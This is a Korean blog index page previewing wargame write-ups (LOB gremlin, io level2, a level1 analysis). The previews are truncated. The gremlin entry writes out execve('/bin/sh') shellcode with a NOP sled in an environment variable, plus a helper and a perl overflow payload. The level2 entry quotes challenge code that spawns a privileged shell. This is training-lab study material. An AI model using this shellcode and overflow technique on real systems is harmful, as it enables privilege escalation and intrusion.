본문 바로가기

gate to gremlin 1.환경변수를 이용한 공격 bash2 //bash는 badchar를 null로 인식export hack=`perl -e 'print "\x90"x100,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";'`cat > env.c#include #include int main(int argc,char *argv[]){printf("%p\n",getenv(argv[1]));return 0;}crtl+d gcc -o env env.c ./env hack //결과로 0xbffffe30반환 ./gremlin `perl -e 'print "\x90"x260,"\x30\xfe\xff\x.. 더보기
level2 level2@io:/levels$ cat level02.c//a little fun brought to you by bla #include #include #include #include void catcher(int a){ setresuid(geteuid(),geteuid(),geteuid()); printf("WIN!\n"); system("/bin/sh"); exit(0);} int main(int argc, char **argv){ puts("source code is available in level02.c\n"); if (argc != 3 || !atoi(argv[2])) //인자를 2개 줘야하고 2번쨰인자가 0이면 안된다. return 1; signal(SIGFPE, catcher); //S.. 더보기
level1을 풀다가 생긴 의문점에 대한 분석 1. 메인함수에서 함수를 불러올때 인자를 주지않았는데 어떻게 함수가 정상실행 되는가? 2.YouWin함수는 어떻게 쉘을 실행시키는가 3.fscanf 역추적으로 풀기fscanf가 어떤것인지는 알고 있었지만 레페런스를 찾아보지않고 처음에 풀려는 고집떄메, 역추적으로 문제를 풀었다. 0804809f : 804809f: 81 ec 00 10 00 00 sub $0x1000,%esp 80480a5: b8 03 00 00 00 mov $0x3,%eax //read 시스템콜 80480aa: bb 00 00 00 00 mov $0x0,%ebx // 0번 fd (stdin) 80480af: 89 e1 mov %esp,%ecx 80480b1: ba 00 10 00 00 mov $0x1000,%edx 80480b6: cd .. 더보기